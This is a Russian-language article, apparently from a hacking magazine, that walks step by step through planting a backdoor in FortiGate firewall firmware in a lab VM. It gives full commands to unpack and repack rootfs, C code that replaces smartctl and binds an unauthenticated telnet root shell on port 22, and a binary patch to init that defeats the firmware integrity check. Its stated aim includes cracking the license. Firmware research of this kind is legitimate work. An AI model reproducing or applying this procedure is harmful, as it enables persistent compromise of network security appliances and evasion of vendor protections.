Беззащитная защита. Изучаем уязвимость, дающую встроить бэкдор в FortiGate
Как известно, даже инструменты для обеспечения сетевой безопасности могут иметь серьезные уязвимости. В этой статье мы разберем, как злоумышленник может взломать межсетевой экран FortiGate и установить в его прошивке бэкдор.
Эта история начинается с того, что однажды я прочитал ресерч на CVE-2022-42475, в котором происходит переполнение кучи. Уязвимость приводит к выполнению произвольного кода. Я решил попробовать реализовать PoC, но мне помешало отсутствие лицензии. Перед тем как реализовывать этот PoC, необходимо установить бэкдор на FortiGate с использованием уязвимости CVE-2019-5587. В статье я расскажу, как сделать этот бэкдор и как он работает.
FortiGate — межсетевой экран с возможностью маршрутизации нового поколения. Он включает в себя большинство традиционных сервисов, таких как проверка трафика, антивирус, VPN, системы предотвращения вторжений, и другие функции обеспечения безопасности. Для демонстрации уязвимости и дальнейших исследований необходимо подготовить стенд с использованием FortiGate.
ГОТОВИМ СТЕНД
Для ресерча была выбрана версия FortiGate VM64 v6.4.5 build1828 (GA). Стенд разворачиваю на VMware ESXI, а образы маршрутизатора должны иметь расширения .out, .ovf, .zip.
После распаковки архива мы получим следующие файлы.
В дальнейшем для реверса и исследования бинарей нам понадобится диск виртуальной машины fortios.vmdk.
В VMware ESXI нужно импортировать существующую виртуальную машину, поэтому следует выбрать режим Create/Register VM, а затем — Deploy a virtual machine from an OVF or OVA file.
Теперь надо указать следующие файлы для загрузки виртуальной машины:
Имя у виртуалки может быть произвольным, я назвал ее просто FortiGate.
Перейдем к настройкам сети. Все сетевые адаптеры, кроме первого, выключим, потому что будем работать только с одним. Также изменим интерфейс с [pt]Network на VM Network. Это нужно, чтобы виртуальная машина находилась с нами в одной сети.
Запускаем виртуальную машину, вводим логин — admin, пароль — Enter, после чего новый пароль необходимо придумать.
По умолчанию FortiGate настроен на использование в качестве NTP-сервера. Необходимо отключить NTP-синхронизацию для перехода в пробный режим.
NTP — сетевой протокол для синхронизации внутренних часов компьютера посредством использования сетей с переменной латентностью.
config system ntp set ntpsync disable set type custom end
Теперь настало время настроить маршрутизатор. Настраивать будем удаленное подключение и доступ к веб‑интерфейсу фортика.
УДАЛЕННОЕ ПОДКЛЮЧЕНИЕ
Настраивать SSH, HTTP, HTTPS, Telnet будем в CLI FortiGate. Для удаленного подключения нужно настроить интерфейс, который мы оставили включенным:
config system interface edit port1 set mode static set role lan set allowaccess http https telnet ssh ping set ip 192.168.0.217/24 show end
config system interface— команда для входа в режим конфигурации интерфейса;edit port1— команда для конфигурации определенного интерфейса;port1— условное обозначение интерфейса;set mode static— команда для установки статического адреса. Чтобы настроить DHCP, нужно вместоstaticнаписатьDHCP, и тогда IP-адреса будут установлены автоматически;set role lan— команда для установления роли и интерфейса. В FortiGate есть четыре роли:- роль
lanозначает, что интерфейс используется для подключения к локальной сети; - роль
wanозначает, что интерфейс используется для подключения к интернету; - роль
dmzозначает, что интерфейс используется для подключения к серверам; - роль
undefinedозначает, что интерфейс не имеет конкретной роли; set allowaccess http https telnet ssh ping— команда для доступа к управлению с использованиемhttps,http,telnet,ssh,ping;set ip 192.168.0.217/24— команда для установки IP-адреса и маски подсети;show— команда, которая показывает все настройки интерфейса;end— команда для завершения настройки.
Вот так выглядит результат работы команды show.
Теперь настраиваем статическую маршрутизацию для доступа из других сетей к Web и CLI:
config router static edit 1 set gateway 192.168.0.255 set device port1 set dst 0.0.0.0 0.0.0.0 set status enable next end
config router static— команда для конфигурации статических маршрутов;edit 1— команда настройки нумерации с неиспользуемого номера;set gateway 192.168.0.255— команда для установки адреса шлюза;set device port1— команда для установки интерфейса;set dst 0.0.0.0 0.0.0.0— команда для установки места назначения;set status enable— команда для включения статической маршрутизации;end— команда для завершения настройки.
Команда get router info routing-table all нужна для проверки настройки статической маршрутизации:
S* 0.0.0.0/0 [10/0] via 192.168.0.255, port1 C 192.168.0.0/24 is directly connected, port1
Этот вывод говорит о том, что для всех устройств, находящихся в сети, шлюз по умолчанию будет 192.168.0.255, а значит, настройка статической маршрутизации прошла успешно.
После этого подключаемся к веб‑интерфейсу через браузер по адресу 192.168.0.217. Логин и пароль используй такой же, как и при подключении к командной строке.
ПОЛУЧАЕМ БЭКДОР
После успешной подготовки стенда настало время для бэкдора. Зайдем в директорию с образом виртуальной машины и виртуальными дисками FortiGate. В моем случае виртуальный диск называется forti_6_4_5-disk1.vmdk.
Дальше наступает часть монтирования и отравления rootfs.gz. Монтирование выполняется следующим образом:
sudo modprobe nbd max_part=16 sudo mkdir /mnt/fortios sudo qemu-nbd -r -c /dev/nbd1 ./forti_6_4_5-disk1.vmdk sudo mount /dev/nbd1p1 /mnt/fortios
sudo modprobe nbd max_part=16— команда подготовки для монтирования статического VDI-образа;sudo mkdir /mnt/fortios— команда для создания директории/mnt/fortios;sudo qemu-nbd -r -c /dev/nbd1 ./forti_6_4_5-disk1.vmdk— команда для экспорта образа диска QEMU, с использованием протокола NBD:-r— ключ означает экспорт диска только для чтения;-c— ключ означает подключение файла c указанным именем к папке /dev устройства NBD;sudo mount /dev/nbd1p1 /mnt/fortios— команда для монтирования диска.
NBD (Network Block Device) — сетевой протокол, который можно использовать для пересылки блочного устройства (обычно жесткого диска или раздела) с одного компьютера на другой. Например, локальный компьютер может получить доступ к жесткому диску, подключенному к другому компьютеру. В нашем случае протокол используется для подключения виртуального жесткого диска к компьютеру. QEMU умеет экспортировать виртуальный образ диска, используя протокол NBD.
В результате forti_6_4_5-disk1.vmdk успешно монтируется к нашему компьютеру.
В rootfs.gz содержится ОС FortiOS, которую мы будем исследовать. Однако перед распаковкой rootfs.gz нужно узнать его контрольную сумму CRC-32 из файла filechecksum, потому что в версиях FortiGate выше 6.0.5 проверяется целостность не только архива, но и файлов внутри него. Если проверка filechecksum не проходит, машина просто откажется запускаться.
Теперь распаковываем архив с использованием утилит gzip и cpio:
gzip -d rootfs.gz sudo cpio -idv < rootfs
Архиватор gzip, думаю, тебе знаком — это утилита сжатия и восстановления файлов, использующая алгоритм Deflate. А cpio — это двоичный архиватор, который позволяет собирать любое число файлов, директорий и других объектов файловой системы (символических ссылок и прочего) в единый поток байтов.
Командой gzip -d rootfs.gz мы распаковываем rootfs.gz, при этом ключ -d означает распаковку файла.
Командой sudo cpio -idv < rootfs копируем файлы из архива. Здесь
После этих манипуляций мы получаем полную файловую систему прошивки FortiGate.
Нас интересует архив bin.tar.xz, потому что в нем содержатся бинари init и smartctl:
Файл bin.tar.xz упакован измененными архиваторами xz и tar, которые находятся в директории /sbin. Распаковывать я его буду этими же измененными утилитами.
Командой sudo chroot . sbin/xz --check=sha256 -d bin.tar.xz (эта команда меняет корневой каталог) избавимся от архива, созданного архиватором xz. Здесь
--check— ключ для проверки целостности, поддерживает четыре типа проверки:none— не рассчитывает проверку целостности;crc32— рассчитывает CRC-32, используя полином из IEEE-802.3;crc64— рассчитывает CRC-64, используя полином из ECMA-182;sha256— рассчитывает SHA-256;-d— ключ для распаковки.
Командой sudo chroot . /sbin/ftar -xf bin.tar избавимся от второго архива, созданного архиватором tar, где
Таким образом мы получим директорию /bin и наконец‑то разберемся с бинарями init и smartctl.
Для получения нормального шелла я использовал программу BusyBox 1.36.0, которую скомпилировал статически. Статическая компиляция нужна потому, что в этой прошивке могут использоваться специфические или измененные стандартные библиотеки. Так, при динамической линковке бинарь просто не поймет, откуда ему брать функции и к чему обращаться. В статической компиляции все функции, которые используются в программе, находятся непосредственно в ней. Программа становится независимой от библиотек, но прибавляет в весе.
BusyBox — набор UNIX-утилит командной строки, используемый в качестве основного интерфейса во встраиваемых операционных системах. Преимущества этого приложения в малом размере и низких требованиях к аппаратуре.
BusyBox я скачал с официального сайта. После распаковки нужно выполнить команду make menuconfig, с помощью которой будет скомпилирован busybox. Во время сборки откроется окно настройки компиляции. Для статической компиляции выбирай вариант Settings → Build Options, а затем Build static binary (no shared libs).
Также надо убрать звездочку напротив пункта sync для отключения синхронизации с файловой системой.
После сборки мы получим бинарный файл busybox.
УСТАНАВЛИВАЕМ БЭКДОР
- Скопируем бинарь
busyboxв директорию/binпрошивки FortiGate. - Удалим символическую ссылку
sh, которая указывает на/bin/sysctl, и переназначим ее на только что скомпилированныйbusybox. Таким образом мы добьемся вызоваbusyboxпри обращении кsh. - Напишем малварь, которая создаст бэкдор и откроет удаленный доступ к файловой системе FortiGate.
- Заменим
smartctlнашим бэкдором. Мы заменим именно этот бинарь, потому что к нему можно обратиться непосредственно из CLI FortiGate командойdiagnose hardware smartctl. Эта команда используется для управления системой хранения данных FortiWAN с использованием стандартной утилитыsmartctl.
Шаг 1
Копируем busybox в каталог /bin и даем ему все права:
sudo cp busybox $PWD/root_dir/bin cd $PWD/root_dir/bin sudo chmod 777 busybox
Шаг 2
Удаляем символическую ссылку sh (sh->/bin/sysctl) и добавляем новую:
sudo rm -rf sh sudo ln -s /bin/busybox sh
Теперь символическая ссылка sh указывает на busybox, а это означает, что у нас есть почти полноценный шелл.
Шаг 3
Cоздаем бэкдор, который открывает подключение по Telnet:
# include <stdio.h>void shell() { system("/bin/busybox ls", 0, 0); system("/bin/busybox id", 0, 0); system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22", 0, 0); return;}int main(int argc, char const *argv[]) { shell(); return 0;}
Программа выводит все файлы, которые находятся в директории, командой /bin/busybox ls. После этого мы определяем свой uid командой /bin/busybox id. Далее убиваем все подключения по SSH и открываем доступ по протоколу Telnet через 22-й порт, на котором уже имеется доступ к шеллу /bin/sh, где sh->busybox:
/bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22
Компилируем программу статически по той же причине, что и busybox:
gcc backdoor.c -static -o backdoor
Шаг 4
Теперь удаляем smartctl и заменяем его своим бинарным файлом:
sudo rm ./bin/smartctl sudo cp backdoor ./bin/smartctl
По сути, мы удалили программу с названием smartctl и создали копию бинаря backdoor с названием smartctl.
КОВЫРЯЕМ ПРОШИВКУ И ЛОМАЕМ КОНТРОЛЬНУЮ СУММУ ФАЙЛОВОЙ СИСТЕМЫ
Все проверки и работа FortiOS основываются на бинаре init. Для проверки этого высказывания введем команду grep -rnl "System is starting", чтобы найти строку System is starting..., потому что с нее начинается работа прошивки.
В общем виде команда поиска выглядит следующим образом:
grep -rnl "System is starting"
Полностью команда поиска выглядит так:
$ grep -rnl "System is starting"/bin/init
Таким образом, можно сделать вывод, что проверка контрольной суммы будет выполняться в программе init. Для реверса бинаря я использовал IDA Pro. И первое, что следует найти, — строка System is starting.
Перейдем по перекрестным ссылкам и попадем в функцию main().
Теперь найдем строку, которая говорит нам о том, что система остановлена, — The system is halted. Такое сообщение выводится, если проверка контрольной суммы не пройдена. Находим строку и по перекрестным ссылкам отыскиваем этот участок кода, который выполняет перезагрузку системы.
Можно найти вызов этой функции в функции main().
В функции main() присутствует два вызова функции do_halt(). Первый из них зависит не от контрольной суммы, а от форка процесса и других системных вызовов.
Второй вызов функции do_halt() имеет непосредственное отношение к проверке чек‑суммы. Для доказательства этого я нашел функцию, которая проверяет содержимое файла с контрольной суммой.
Внутри этой функции открывается на чтение файл и из него извлекаются данные с целью проверки системы.
В функции find_checksum() путем выполнения операции XOR определяется название файла.
Напишем простой декриптор для проверки:
filename = 'aiqu0oZi'key = [0x4E,0x47,0x17,0x12,0x44,0x1C,0x2F,0x04]for i in range(len(filename)): print(chr(ord(filename[i])^key[i]), end = '')
Этот файл можно найти в корневом каталоге, поэтому очевидно, что рассмотренная нами функция использует файл для реализации некоторой проверки системы.
Чтобы обойти эту проверку, нужно либо заменить в функции do_halt() первую инструкцию инструкцией ret, чтобы функция ничего не выводила, либо предотвратить перезагрузку при неудачной проверке. Я выбрал второй вариант, поэтому в бинарном файле init исправил JZ на JNZ в переходе на функцию do_halt().
Таким образом у нас получилось обмануть прошивку с проверкой контрольной суммы, и наш бэкдор сработает.
В более новых прошивках система безопасности была обновлена и такой обход может не сработать. В этом случае будет проверяться еще и внешний файл filechecksum, который тоже находится на виртуальном диске forti_6_4_5-disk1.vmdk вместе с rootfs.gz. Необходимо будет вычислить CRC-32 нового rootfs.gz и заменить его в этом файле.
СОБИРАЕМ ВСЕ ОБРАТНО
Теперь соберем все в один архив:
sudo chroot . /sbin/ftar -cf bin.tar ./bin sudo chroot . /sbin/xz --check=sha256 -e bin.tar sudo su root find . -path './bin' -prune -o -print | cpio -H newc -o > ../rootfs.raw cat ../rootfs.raw | gzip > ../rootfs.gz
После сборки я получил отравленный rootfs.gz и заменил rootfs.gz в примонтированном образе forti_6_4_5-disk1.vmdk. Теперь осталось только заменить оригинальный диск модифицированным.
ПРОВЕРКА БЭКДОРА
После создания бэкдора необходимо немного отредактировать настройки. Троян заменяет порт SSH, поэтому настройки стенда теперь такие:
config system interface edit port1 set mode static set role lan set alias LAN set allowaccess http https ssh ping set ip 192.168.0.216/24 show end
Проверяем работу бэкдора. Для этого надо подключиться по Telnet c использованием следующей команды:
Вместо XXX.XXX.XXX.XXX укажи IP-адрес FortiGate.
Подключение выполнено, а значит, наш бэкдор работает!
ВЫВОДЫ
Показанный в статье эксперимент дает возможность прокачать навыки в реверс‑инжиниринге и исследовании прошивок устройств наподобие межсетевых экранов. Однако навыки полезны только тогда, когда их можно применить на практике. Реализовав бэкдор в прошивке FortiGate, можно крякнуть лицензию и реализовать уязвимость CVE-2022-42475. Но об этом — в другой раз.